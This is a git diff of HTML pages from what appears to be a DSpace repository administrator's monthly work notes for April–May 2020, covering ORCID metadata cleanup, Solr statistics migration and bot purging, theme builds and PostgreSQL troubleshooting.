dc.contributor.author,cg.creator.id
+"Ballantyne, Peter G.","Peter G. Ballantyne: 0000-0001-9346-2893"
+
    +
  • Then I tried another way, to identify all duplicate ORCID identifiers for a given resource ID and group them so I can see if count is greater than 1:
    • +
+
dspace=# \COPY (SELECT DISTINCT(resource_id, text_value) as distinct_orcid, COUNT(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 240 GROUP BY distinct_orcid ORDER BY count DESC) TO /tmp/2020-04-07-duplicate-orcids.csv WITH CSV HEADER;
+COPY 15209
+
    +
  • Of those, about nine authors had duplicate ORCID identifiers over about thirty records, so I created a CSV with all their name variations and ORCID identifiers:
    • +
+
dc.contributor.author,cg.creator.id
+"Ballantyne, Peter G.","Peter G. Ballantyne: 0000-0001-9346-2893"
+"Ramirez-Villegas, Julian","Julian Ramirez-Villegas: 0000-0002-8044-583X"
+"Villegas-Ramirez, J","Julian Ramirez-Villegas: 0000-0002-8044-583X"
+"Ishitani, Manabu","Manabu Ishitani: 0000-0002-6950-4018"
+"Manabu, Ishitani","Manabu Ishitani: 0000-0002-6950-4018"
+"Ishitani, M.","Manabu Ishitani: 0000-0002-6950-4018"
+"Ishitani, M.","Manabu Ishitani: 0000-0002-6950-4018"
+"Buruchara, Robin A.","Robin Buruchara: 0000-0003-0934-1218"
+"Buruchara, Robin","Robin Buruchara: 0000-0003-0934-1218"
+"Jarvis, Andy","Andy Jarvis: 0000-0001-6543-0798"
+"Jarvis, Andrew","Andy Jarvis: 0000-0001-6543-0798"
+"Jarvis, A.","Andy Jarvis: 0000-0001-6543-0798"
+"Tohme, Joseph M.","Joe Tohme: 0000-0003-2765-7101"
+"Hansen, James","James Hansen: 0000-0002-8599-7895"
+"Hansen, James W.","James Hansen: 0000-0002-8599-7895"
+"Asseng, Senthold","Senthold Asseng: 0000-0002-7583-3811"
+
    +
  • Then I deleted all their existing ORCID identifier records:
    • +
+
dspace=# DELETE FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=240 AND text_value SIMILAR TO '%(0000-0001-6543-0798|0000-0001-9346-2893|0000-0002-6950-4018|0000-0002-7583-3811|0000-0002-8044-583X|0000-0002-8599-7895|0000-0003-0934-1218|0000-0003-2765-7101)%';
+DELETE 994
+
    +
  • And then I added them again using the add-orcid-identifiers records:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2020-04-07-fix-duplicate-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • I ran the fixes on DSpace Test and CGSpace as well
    • +
  • I started testing the pull request sent by Atmire yesterday +
      +
    • I notice that we now need yarn to build, and I need to bump the Node.js engine version in our Mirage 2 theme in order to get it to build on Node.js 10.x
      • +
    • Font Awesome icons for GitHub etc weren’t loading, and after a bit of troubleshooting I replaced version 4.5.0 with 5.13.0 and to my surprise they now include Mendeley and ORCID so we can get rid of the Academicons dependency
      • +
    +
    • +
+

2020-04-12

+
    +
  • Testing the Atmire DSpace 6.3 code with a clean CGSpace DSpace 5.8 database snapshot +
      +
    • One Flyway migration failed so I had to manually remove it (and of course create the pgcrypto extension):
      • +
    +
    • +
+
dspace63=# DELETE FROM schema_version WHERE version IN ('5.8.2015.12.03.3');
+dspace63=# CREATE EXTENSION pgcrypto;
+
    +
  • Then DSpace 6.3 started up OK and I was able to see some statistics in the Content and Usage Analysis (CUA) module, but not on community, collection, or item pages +
      +
    • I also noticed at least one of these errors in the DSpace log:
      • +
    +
    • +
+
2020-04-12 16:34:33,363 ERROR com.atmire.dspace.app.xmlui.aspect.statistics.editorparts.DataTableTransformer @ java.lang.IllegalArgumentException: Invalid UUID string: 1
+
    +
  • And I remembered I actually need to run the DSpace 6.4 Solr UUID migrations:
    • +
+
$ export JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8"
+$ ~/dspace63/bin/dspace solr-upgrade-statistics-6x
+
    +
  • Run system updates on DSpace Test (linode26) and reboot it
    • +
  • More work on the DSpace 6.3 stuff, improving the GDPR consent logic to use haven instead of cookieconsent +
      +
    • It works better by injecting the Google Analytics script after the user clicks agree, and it also has a preferences section that gets automatically injected on the privacy page!
      • +
    +
    • +
+

2020-04-13

+
    +
  • I realized that solr-upgrade-statistics-6x only processes 100,000 records by default so I think we actually need to finish running it for all legacy Solr records before asking Atmire why CUA statlets and detailed statistics aren’t working
    • +
  • For now I am just doing 250,000 records at a time on my local environment:
    • +
+
$ export JAVA_OPTS="-Xmx2000m -Dfile.encoding=UTF-8"
+$ ~/dspace63/bin/dspace solr-upgrade-statistics-6x -n 250000
+
    +
  • Despite running the migration for all of my local 1.5 million Solr records, I still see a few hundred thousand like -1 and 0-unmigrated +
      +
    • I will purge them all and try to import only a subset…
      • +
    • After importing again I see there are indeed tens of thousands of these documents with IDs “-1” and “0”
      • +
    • They are all type: 5, which is “SITE” according to Constants.java:
      • +
    +
    • +
+
/** DSpace site type */
+public static final int SITE = 5;
+
    +
  • Even after deleting those documents and re-running solr-upgrade-statistics-6x I still get the UUID errors when using CUA and the statlets
    • +
  • I have sent some feedback and questions to Atmire (including about the  issue with glypicons in the header trail)
    • +
  • In other news, my local Artifactory container stopped working for some reason so I re-created it and it seems some things have changed upstream (port 8082 for web UI?):
    • +
+
$ podman rm artifactory
+$ podman pull docker.bintray.io/jfrog/artifactory-oss:latest
+$ podman create --ulimit nofile=32000:32000 --name artifactory -v artifactory_data:/var/opt/jfrog/artifactory -p 8081-8082:8081-8082 docker.bintray.io/jfrog/artifactory-oss
+$ podman start artifactory
+

2020-04-14

+
    +
  • A few days ago Peter asked me to update an author’s name on CGSpace and in the controlled vocabularies:
    • +
+
dspace=# UPDATE metadatavalue SET text_value='Knight-Jones, Theodore J.D.' WHERE resource_type_id=2 AND metadata_field_id=3 AND text_value='Knight-Jones, T.J.D.';
+
    +
  • I updated his existing records on CGSpace, changed the controlled lists, added his ORCID identifier to the controlled list, and tagged his thirty-nine items with the ORCID iD
    • +
  • The new DSpace 6 stuff that Atmire sent modifies the Mirage 2’s pom.xml to copy the each theme’s resulting node_modules to each theme after building and installing with ant update because they moved some packages from bower to npm and now reference them in page-structure.xsl +
      +
    • This is a good idea, because bower is no longer supported, and npm has gotten a lot better, but it causes an extra 200,000 files to get copied!
      • +
    • Most scripts are concatenated into theme.js during build, so we don’t need the node_modules after that, but there are three scripts in page-structure.xsl that are not included there
      • +
    • The scripts are a very old version of modernizr which is not even available on npm, html5shiv, and respond.js
      • +
    • For modernizr I can simply download a static copy and put it in 0_CGIAR/scripts and concatenate it into theme.js
      • +
    • For the others, I can revert to using them from bower’s vendor directory, which is installed by the parent XMLUI Mirage 2 theme
      • +
    • During this process I also realized that mvn clean doesn’t actually clean everything, and dspace/modules/xmlui-mirage2/target is remaining from previous builds and contains a bunch of shit from previous builds (including all the themes which I was trying to build without!) +
        +
      • This must be a DSpace bug, but I should theoretically check on vanilla DSpace and then file a bug…
        • +
      +
      • +
    +
    • +
+

2020-04-17

+
    +
  • Atmire responded to some of the issues I raised earlier this week about the DSpace 6 pull request +
      +
    • They said they don’t think the glyphicon encoding issue is due to their changes, but I built a new clean version of the vanilla 6_x-dev branch from before their pull request and it does not have the encoding issue in the Mirage 2 header trails
      • +
    • Also, they said we need to use something called AtomicStatisticsUpdateCLI to do the Solr legacy integer ID to UUID conversion so I asked for more information about that workflow
      • +
    +
    • +
+

2020-04-20

+
    +
  • Looking into a high rate of outgoing bandwidth from yesterday on CGSpace (linode18):
    • +
+
# cat /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "19/Apr/2020:0[6789]" | goaccess --log-format=COMBINED -
+
    +
  • One host in Russia (91.241.19.70) download 23GiB over those few hours in the morning +
      +
    • It looks like all the requests were for one single item’s bitstreams:
      • +
    +
    • +
+
# grep -c 91.241.19.70 /var/log/nginx/access.log.1
+8900
+# grep 91.241.19.70 /var/log/nginx/access.log.1 | grep -c '10568/35187'
+8900
+
    +
  • I thought the host might have been Yandex misbehaving, but its user agent is:
    • +
+
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; nl-nl) AppleWebKit/527  (KHTML, like Gecko) Version/3.1.1 Safari/525.20
+
    +
  • I will purge that IP from the Solr statistics using my check-spider-ip-hits.sh script:
    • +
+
$ ./check-spider-ip-hits.sh -d -f /tmp/ip -p
+(DEBUG) Using spider IPs file: /tmp/ip
+(DEBUG) Checking for hits from spider IP: 91.241.19.70
+Purging 8909 hits from 91.241.19.70 in statistics
+
+Total number of bot hits purged: 8909
+
    +
  • While investigating that I noticed ORCID identifiers missing from a few authors names, so I added them with my add-orcid-identifiers.py script:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2020-04-20-add-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • The contents of 2020-04-20-add-orcids.csv was:
    • +
+
dc.contributor.author,cg.creator.id
+"Schut, Marc","Marc Schut: 0000-0002-3361-4581"
+"Schut, M.","Marc Schut: 0000-0002-3361-4581"
+"Kamau, G.","Geoffrey Kamau: 0000-0002-6995-4801"
+"Kamau, G","Geoffrey Kamau: 0000-0002-6995-4801"
+"Triomphe, Bernard","Bernard Triomphe: 0000-0001-6657-3002"
+"Waters-Bayer, Ann","Ann Waters-Bayer: 0000-0003-1887-7903"
+"Klerkx, Laurens","Laurens Klerkx: 0000-0002-1664-886X"
+
    +
  • I confirmed some of the authors’ names from the report itself, then by looking at their profiles on ORCID.org
    • +
  • Add new ILRI subject “COVID19” to the 5_x-prod branch
    • +
  • Add new CCAFS Phase II project tags to the 5_x-prod branch
    • +
  • I will deploy these to CGSpace in the next few days
    • +
+

2020-04-24

+
    +
  • Atmire responded to my ticket about the  issue with glypicons and said their test server does not show this same issue +
      +
    • They asked if I am using the JAVA_OPTS=-Dfile.encoding=UTF-8 when building DSpace and running Tomcat
      • +
    • I set it explicitly for Maven and Ant just now (and cleared all XMLUI caches) but the issue is still there
      • +
    • I asked them if they are building on macOS or Linux, and which Node.js version (I’m using 10.20.1, which is the current LTS branch).
      • +
    +
    • +
+

2020-04-25

+
    +
  • I researched a bit more about the  issue with glypicons and realized it’s due to a bug in libsass +
      +
    • I have Ruby sass version 3.4.25 installed in my local environment, but DSpace Mirage 2 is supposed to build with 3.3.14
      • +
    • Downgrading the version fixes it, though I wonder: why did I not have this issue on the 6.x-dev branch before Atmire’s pull request, and also on 5_x-prod where I’ve been building for a few months here…
      • +
    +
    • +
  • I deployed the latest 5_x-prod branch on CGSpace (linode18), ran all updates, and rebooted the server +
      +
    • This includes the “COVID19” ILRI subject, the new CCAFS Phase II project tags, and the changes to an ILRI author name
      • +
    • After restarting the server I had to restart Tomcat three times before all Solr statistics cores loaded properly.
      • +
    • After that I started a full Discovery reindexing to pick up some author changes I made last week:
      • +
    +
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time chrt -i 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • I ran the dspace cleanup -v process on CGSpace and got an error:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(184980) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
$ psql -d dspace -U dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (183996);'
+UPDATE 1
+
    +
  • I spent some time working on the XMLUI themes in DSpace 6 +
      +
    • Atmire’s pull request modifies pom.xml to not exclude node_modules, which means an extra ~260,000 files get copied to our installation folder because of all the themes
      • +
    • I worked on the Gruntfile.js to copy Font Awesome and Bootstrap glyphicon fonts out of node_modules and into fonts at build time, but still jquery-ui.min.css was being referenced as a url() in CSS
      • +
    • SASS can include imported CSS in your compiled CSS—instead of including an @import url(..) if you import it without the “.css”, but our version of Ruby SASS doesn’t support that
      • +
    • I hacked Gruntfile.js to use dart-sass instead of Ruby compass (including installing compass’s mixins via npm!) but then dart-sass converts all the glyphicon ASCII escape codes to Unicode literals and they show up garbled in Firefox
      • +
    • I tried to use node-sass instead of dart-sass and it doesn’t replace the ASCII escapes with literals, but then I get the the  issue with the glyphicon in the header trail again! Back to square one!
      • +
    • So that was a waste of five hours…
      • +
    • I might just leave this tiny hack in 0_CGIAR/styles/_style.scss to override this and be done with it:
      • +
    +
    • +
+
.breadcrumb > li + li:before {
+  content: "/\00a0";
+}
+

2020-04-27

+
    +
  • File an issue on DSpace Jira about the mvn clean task not removing the Mirage 2 target directory
    • +
  • My changes to DSpace XMLUI Mirage 2 build process mean that we don’t need Ruby gems at all anymore! We can completely build without them!
    • +
  • Trying to test the com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI script but there is an error:
    • +
+
Exception: org.apache.solr.search.SyntaxError: Cannot parse 'cua_version:${cua.version.number}': Encountered " "}" "} "" at line 1, column 32.
+Was expecting one of:
+    "TO" ...
+    <RANGE_QUOTED> ...
+    <RANGE_GOOP> ...
+
    +
  • Seems something is wrong with the variable interpolation, and I see two configurations in the atmire-cua.cfg file:
    • +
+
atmire-cua.cua.version.number=${cua.version.number}
+atmire-cua.version.number=${cua.version.number}
+
    +
  • I sent a message to Atmire to check
    • +
+

2020-04-28

+
    +
  • I did some work on DSpace 6 to modify our XMLUI theme to use Font Awesome icons via SVG + JavaScript instead of using web fonts +
      +
    • The difference is about 105K less, plus two fewer network requests since we don’t need the web fonts anymore
      • +
    • Before: +
        +
      • scripts/theme.js: 654K
        • +
      • styles/main.css: 220K
        • +
      • fa-brands-400.woff2: 75K
        • +
      • fa-solid-900.woff2: 78K
        • +
      • Total: 1027K
        • +
      +
      • +
    • After: +
        +
      • scripts/theme.js: 704K
        • +
      • styles/main.css: 218K
        • +
      • Total: 922K
        • +
      +
      • +
    +
    • +
  • I manually edited the CUA version variable and was then able to run the com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI script +
      +
    • On the first run it took one hour to process 100,000 records on my local test instance…
      • +
    • On the second run it took one hour to process 140,000 records
      • +
    • On the third run it took one hour to process 150,000 records
      • +
    +
    • +
+

2020-04-29

+
    +
  • I found out that running the Atmire CUA script with more memory and a larger number of records (-r 20000) makes it run faster +
      +
    • Now the process finishes, but there are errors on some records:
      • +
    +
    • +
+
Record uid: ee085cc0-0110-42c5-80b9-0fad4015ed9f couldn't be processed
+com.atmire.statistics.util.update.atomic.ProcessingException: something went wrong while processing record uid: ee085cc0-0110-42c5-80b9-0fad4015ed9f, an error occured in the com.atmire.statistics.util.update.atomic.processor.ContainerOwnerDBProcessor
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(AtomicStatisticsUpdater.java:304)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.processRecords(AtomicStatisticsUpdater.java:176)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(AtomicStatisticsUpdater.java:161)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(AtomicStatisticsUpdater.java:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(AtomicStatisticsUpdateCLI.java:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: java.lang.NullPointerException
+        at com.atmire.dspace.cua.CUADSOServiceImpl.findByLegacyID(CUADSOServiceImpl.java:40)
+        at com.atmire.statistics.util.update.atomic.processor.AtomicUpdateProcessor.getDSpaceObject(AtomicUpdateProcessor.java:49)
+        at com.atmire.statistics.util.update.atomic.processor.ContainerOwnerDBProcessor.process(ContainerOwnerDBProcessor.java:45)
+        at com.atmire.statistics.util.update.atomic.processor.ContainerOwnerDBProcessor.visit(ContainerOwnerDBProcessor.java:38)
+        at com.atmire.statistics.util.update.atomic.record.UsageRecord.accept(UsageRecord.java:23)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(AtomicStatisticsUpdater.java:301)
+        ... 10 more
+
    +
  • I’ve sent a message to Atmire to ask for advice
    • +
  • Also, now I can actually see the CUA statlets and usage statistics +
      +
    • Unfortunately it seems they are using Font Awesome 4 in their CUA module and this means that some icons are broken because the names have changed, but also some of their code is using Unicode characters instead of classes in spans!
      • +
    • I’ve reverted my sweet SVG work from yesterday and adjusted the Font Awesome 5 SCSS to add a few more icons that they are using
      • +
    +
    • +
  • Tezira said she was having issues submitting items on CGSpace today +
      +
    • I looked at all the errors in the DSpace log and see a few SQL pooling errors around mid day:
      • +
    +
    • +
+
$ grep ERROR dspace.log.2020-04-29 | cut -f 3- -d' ' | sort | uniq -c | sort -n
+      1 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL findByUnique Error -
+      1 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL find Error -
+      1 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL query singleTable Error -
+      1 ERROR org.dspace.storage.rdbms.DatabaseManager @ SQL QueryTable Error -
+
    +
  • I looked in Munin and I see that there is a strange spike in the database pool usage this afternoon:
    • +
+

Tomcat Database Pool usage day

+
    +
  • Looking at the past month it does seem to be something strange:
    • +
+

Tomcat Database Pool usage month

+
    +
  • Database connections do seem high:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+      6 dspaceCli
+     88 dspaceWeb
+
    +
  • Most of those are idle in transaction:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep 'dspaceWeb' | grep -c "idle in transaction"
+67
+
    +
  • I don’t see anything in the PostgreSQL or Tomcat logs suggesting anything is wrong… I think the solution to clear these idle connections is probably to just restart Tomcat
    • +
  • I looked at the Solr stats for this month and see lots of suspicious IPs:
    • +
+
$ curl -s 'http://localhost:8081/solr/statistics/select?q=*:*&fq=dateYearMonth:2020-04&rows=0&wt=json&indent=true&facet=true&facet.field=ip
+
+        "88.99.115.53",23621, # Hetzner, using XMLUI and REST API with no user agent
+        "104.154.216.0",11865,# Google cloud, scraping XMLUI with no user agent
+        "104.198.96.245",4925,# Google cloud, using REST API with no user agent
+        "52.34.238.26",2907,  # EcoSearch on XMLUI, user agent: EcoSearch (+https://search.ecointernet.org/)
+
    +
  • And a bunch more… ugh… +
      +
    • 70.32.90.172: scraping REST API for IWMI/WLE pages with no user agent
      • +
    • 2a01:7e00::f03c:91ff:fe16:fcb: Linode, REST API, no user agent
      • +
    • 2607:f298:5:101d:f816:3eff:fed9:a484: DreamHost, XMLUI and REST API, python-requests/2.18.4
      • +
    • 2a00:1768:2001:7a::20: Netherlands, XMLUI, trying SQL injections
      • +
    +
    • +
  • I need to start blocking requests without a user agent…
    • +
  • I purged these user agents using my check-spider-ip-hits.sh script:
    • +
+
$ for year in {2010..2019}; do ./check-spider-ip-hits.sh -f /tmp/ips -s statistics-$year -p; done
+$ ./check-spider-ip-hits.sh -f /tmp/ips -s statistics -p
+
    +
  • Then I added a few of them to the bot mapping in the nginx config because it appears they are regular harvesters since 2018
    • +
  • Looking through the Solr stats faceted by the userAgent field I see some interesting ones:
    • +
+
$ curl 'http://localhost:8081/solr/statistics/select?q=*%3A*&rows=0&wt=json&indent=true&facet=true&facet.field=userAgent'
+...
+"Delphi 2009",50725,
+"OgScrper/1.0.0",12421,
+
    +
  • Delphi is only used by IP addresses in Greece, so that’s obviously the GARDIAN people harvesting us…
    • +
  • I have no idea what OgScrper is, but it’s not a user!
    • +
  • Then there are 276,000 hits from MEL-API from Jordanian IPs in 2018, so that’s obviously CodeObia guys…
    • +
  • Other user agents: +
      +
    • GigablastOpenSource/1
      • +
    • Owlin Domain Resolver V1
      • +
    • API scraper
      • +
    • MetaURI
      • +
    +
    • +
  • I don’t know why, but my check-spider-hits.sh script doesn’t seem to be handling the user agents with spaces properly so I will delete those manually after
    • +
  • First delete the ones without spaces, creating a temp file in /tmp/agents containing the patterns:
    • +
+
$ for year in {2010..2019}; do ./check-spider-hits.sh -f /tmp/agents -s statistics-$year -p; done
+$ ./check-spider-hits.sh -f /tmp/agents -s statistics -p
+
    +
  • That’s about 300,000 hits purged…
    • +
  • Then remove the ones with spaces manually, checking the query syntax first, then deleting in yearly cores and the statistics core:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics/select" -d "q=userAgent:/Delphi 2009/&rows=0"
+...
+<lst name="responseHeader"><int name="status">0</int><int name="QTime">52</int><lst name="params"><str name="q">userAgent:/Delphi 2009/</str><str name="rows">0</str></lst></lst><result name="response" numFound="38760" start="0"></result>
+$ for year in {2010..2019}; do curl -s "http://localhost:8081/solr/statistics-$year/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>userAgent:"Delphi 2009"</query></delete>'; done
+$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary '<delete><query>userAgent:"Delphi 2009"</query></delete>'
+
    +
  • Quoting them works for now until I can look into it and handle it properly in the script
    • +
  • This was about 400,000 hits in total purged from the Solr statistics
    • +
+

2020-04-30

+
    +
  • The TLS certificates on DSpace Test (linode26) have not been renewing correctly +
      +
    • The log shows the message “No renewals were attempted”
      • +
    • The certbot-auto certificates command doesn’t list the certificate I have installed
      • +
    • I guess this is because I copied it from the previous server…
      • +
    • I moved the Let’s Encrypt directory, got a new cert, then revoked the old one:
      • +
    +
    • +
+
# mv /etc/letsencrypt /etc/letsencrypt.bak
+# /opt/certbot-auto certonly --standalone --email fu@m.com -d dspacetest.cgiar.org --standalone --pre-hook "/bin/systemctl stop nginx" --post-hook "/bin/systemctl start nginx"
+# /opt/certbot-auto revoke --cert-path /etc/letsencrypt.bak/live/dspacetest.cgiar.org/cert.pem
+# rm -rf /etc/letsencrypt.bak
+
    +
  • Run all system updates on DSpace Test and reboot it
    • +
  • Tezira is still having issue submitting to CGSpace and the database is definitely busy according to Munin:
    • +
+

Tomcat postgres connections week

+
    +
  • But I don’t see a lot of connections in PostgreSQL itself:
    • +
+
$ psql -c 'select * from pg_stat_activity' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c
+      5 dspaceApi
+      6 dspaceCli
+     14 dspaceWeb
+$ psql -c 'select * from pg_stat_activity' | wc -l
+30
+
    +
  • Tezira said she cleared her browser cache and then was able to submit again +
      +
    • She said once she logged back in she had very many “Untitled” submissions pending
      • +
    • I see that the database connections are indeed much lower now:
      • +
    +
    • +
+

Tomcat postgres connections week

+
    +
  • The PostgreSQL log shows a lot of errors about deadlocks and queries waiting on other processes…
    • +
+
ERROR:  deadlock detected
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-05/index.html b/docs/2020-05/index.html new file mode 100644 index 000000000..5d68b030d --- /dev/null +++ b/docs/2020-05/index.html @@ -0,0 +1,531 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2020

+

+ + in + Notes + + +

+
+

2020-05-02

+
    +
  • Peter said that CTA is having problems submitting an item to CGSpace +
      +
    • Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in ‘idle in transaction’ and ‘waiting for lock’ state are increasing again
      • +
    • I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)
      • +
    +
    • +
+

2020-05-03

+
    +
  • Purge a few remaining bots from CGSpace Solr statistics that I had identified a few months ago +
      +
    • lua-resty-http/0.10 (Lua) ngx_lua/10000
      • +
    • omgili/0.5 +http://omgili.com
      • +
    • IZaBEE/IZaBEE-1.01 (Buzzing Abound The Web; https://izabee.com; info at izabee dot com)
      • +
    • Twurly v1.1 (https://twurly.org)
      • +
    • Pattern/2.6 +http://www.clips.ua.ac.be/pattern
      • +
    • CyotekWebCopy/1.7 CyotekHTTP/2.0
      • +
    +
    • +
  • This is only about 2,500 hits total from the last ten years, and half of these bots no longer seem to exist, so I won’t bother submitting them to the COUNTER-Robots project
    • +
  • I noticed that our custom themes were incorrectly linking to the OpenSearch XML file +
      +
    • The bug was fixed for Mirage2 in 2015
      • +
    • Note that this did not prevent OpenSearch itself from working
      • +
    • I will patch this on our DSpace 5.x and 6.x branches
      • +
    +
    • +
+

2020-05-06

+
    +
  • Atmire responded asking for more information about the Solr statistics processing bug in CUA so I sent them some full logs +
      +
    • Also I asked again about the Maven variable interpolation issue for cua.version.number, and if they would be willing to upgrade CUA to use Font Awesome 5 instead of 4.
      • +
    +
    • +
+

2020-05-07

+
    +
  • Linode sent an alert that there was high CPU usage on CGSpace (linode18) early this morning +
      +
    • I looked at the nginx logs using goaccess and I found a few IPs making lots of requests around then:
      • +
    +
    • +
+
# cat /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "07/May/2020:(01|03|04)" | goaccess --log-format=COMBINED -
+
    +
  • The two main IPs making requests around then are 188.134.31.88 and 212.34.8.188 +
      +
    • The first is in Russia and it is hitting mostly XMLUI Discover links using dozens of different user agents, a total of 20,000 requests this week
      • +
    • The second IP is CodeObia testing AReS, a total of 171,000 hits this month
      • +
    • I will purge both of those IPs from the Solr stats using my check-spider-ip-hits.sh script:
      • +
    +
    • +
+
$ ./check-spider-ip-hits.sh -f /tmp/ips -s statistics -p
+Purging 171641 hits from 212.34.8.188 in statistics
+Purging 20691 hits from 188.134.31.88 in statistics
+
+Total number of bot hits purged: 192332
+
    +
  • And then I will add 188.134.31.88 to the nginx bad bot list and tell CodeObia to please use a “bot” user agent
    • +
  • I also changed the nginx config to block requests with blank user agents
    • +
+

2020-05-11

+
    +
  • Bizu said she was having issues submitting to CGSpace last week +
      +
    • The issue sounds like the one Tezira and CTA were having in the last few weeks
      • +
    • I looked at the PostgreSQL graphs and see there are a lot of connections in “idle in transaction” and “waiting for lock” state:
      • +
    +
    • +
+

PostgreSQL connections

+
    +
  • I think I’ll downgrade the PostgreSQL JDBC driver from 42.2.12 to 42.2.10, which was the version we were using before these issues started happening
    • +
  • Atmire sent some feedback about my ongoing issues with their CUA module, but none of it was conclusive yet +
      +
    • Regarding Font Awesome 5 they will check how much work it will take and give me a quote
      • +
    +
    • +
  • Abenet said some users are questioning why the statistics dropped so much lately, so I made a post to Yammer to explain about the robots
    • +
  • Last week Peter had asked me to add a new ILRI author’s ORCID iD +
      +
    • I added it to the controlled vocabulary and tagged the user’s existing ~11 items in CGSpace using this CSV file with my add-orcid-identifiers-csv.py script:
      • +
    +
    • +
+
$ cat 2020-05-11-add-orcids.csv
+dc.contributor.author,cg.creator.id
+"Lutakome, P.","Pius Lutakome: 0000-0002-0804-2649"
+"Lutakome, Pius","Pius Lutakome: 0000-0002-0804-2649"
+$ ./add-orcid-identifiers-csv.py -i 2020-05-11-add-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • I had to restart Tomcat five times before all Solr statistics cores came up OK, ugh.
      • +
    +
    • +
+

2020-05-12

+
    +
  • Peter noticed that CGSpace is no longer on AReS, because I blocked all requests that don’t specify a user agent +
      +
    • I’ve temporarily disabled that restriction and asked Moayad to look into how he can specify a user agent in the AReS harvester
      • +
    +
    • +
+

2020-05-13

+
    +
  • Atmire responded about Font Awesome and said they can switch to version 5 for 16 credits +
      +
    • I told them to go ahead
      • +
    +
    • +
  • Also, Atmire gave me a small workaround for the cua.version.number interpolation issue and said they would look into the crash that happens when processing our Solr stats
    • +
  • Run system updates and reboot AReS server (linode20) for the first time in almost 100 days +
      +
    • I notice that AReS now has some of CGSpace’s data in it (but not all) since I dropped the user-agent restriction on the REST API yesterday
      • +
    +
    • +
+

2020-05-17

+
    +
  • Create an issue in the OpenRXV project for Moayad to change the default harvester user agent (#36)
    • +
+

2020-05-18

+
    +
  • Atmire responded and said they still can’t figure out the CUA statistics issue, though they seem to only be trying to understand what’s going on using static analysis +
      +
    • I told them that they should try to run the code with the Solr statistics that I shared with them a few weeks ago
      • +
    +
    • +
+

2020-05-19

+
    +
  • Add ORCID identifier for Sirak Bahta +
      +
    • I added it to the controlled vocabulary and tagged the user’s existing ~40 items in CGSpace using this CSV file with my add-orcid-identifiers-csv.py script:
      • +
    +
    • +
+
$ cat 2020-05-19-add-orcids.csv
+dc.contributor.author,cg.creator.id
+"Bahta, Sirak T.","Sirak Bahta: 0000-0002-5728-2489"
+$ ./add-orcid-identifiers-csv.py -i 2020-05-19-add-orcids.csv -db dspace -u dspace -p 'fuuu' -d
+
    +
  • An IITA user is having issues submitting to CGSpace and I see there are a rising number of PostgreSQL connections waiting in transaction and in lock:
    • +
+

PostgreSQL connections

+
    +
  • This is the same issue Tezira, Bizu, and CTA were having in the last few weeks and it I already downgraded the PostgreSQL JDBC driver version to the last version I was using before this started (42.2.10) +
      +
    • I will downgrade it to version 42.2.9 for now…
      • +
    • The only other thing I can think of is that I upgraded Tomcat to 7.0.103 in March
      • +
    +
    • +
  • Run system updates on DSpace Test (linode26) and reboot it
    • +
  • Run system updates on CGSpace (linode18) and reboot it +
      +
    • After the system came back up I had to restart Tomcat 7 three times before all the Solr statistics cores came up OK
      • +
    +
    • +
  • Send Atmire a snapshot of the CGSpace database for them to possibly troubleshoot the CUA issue with DSpace 6
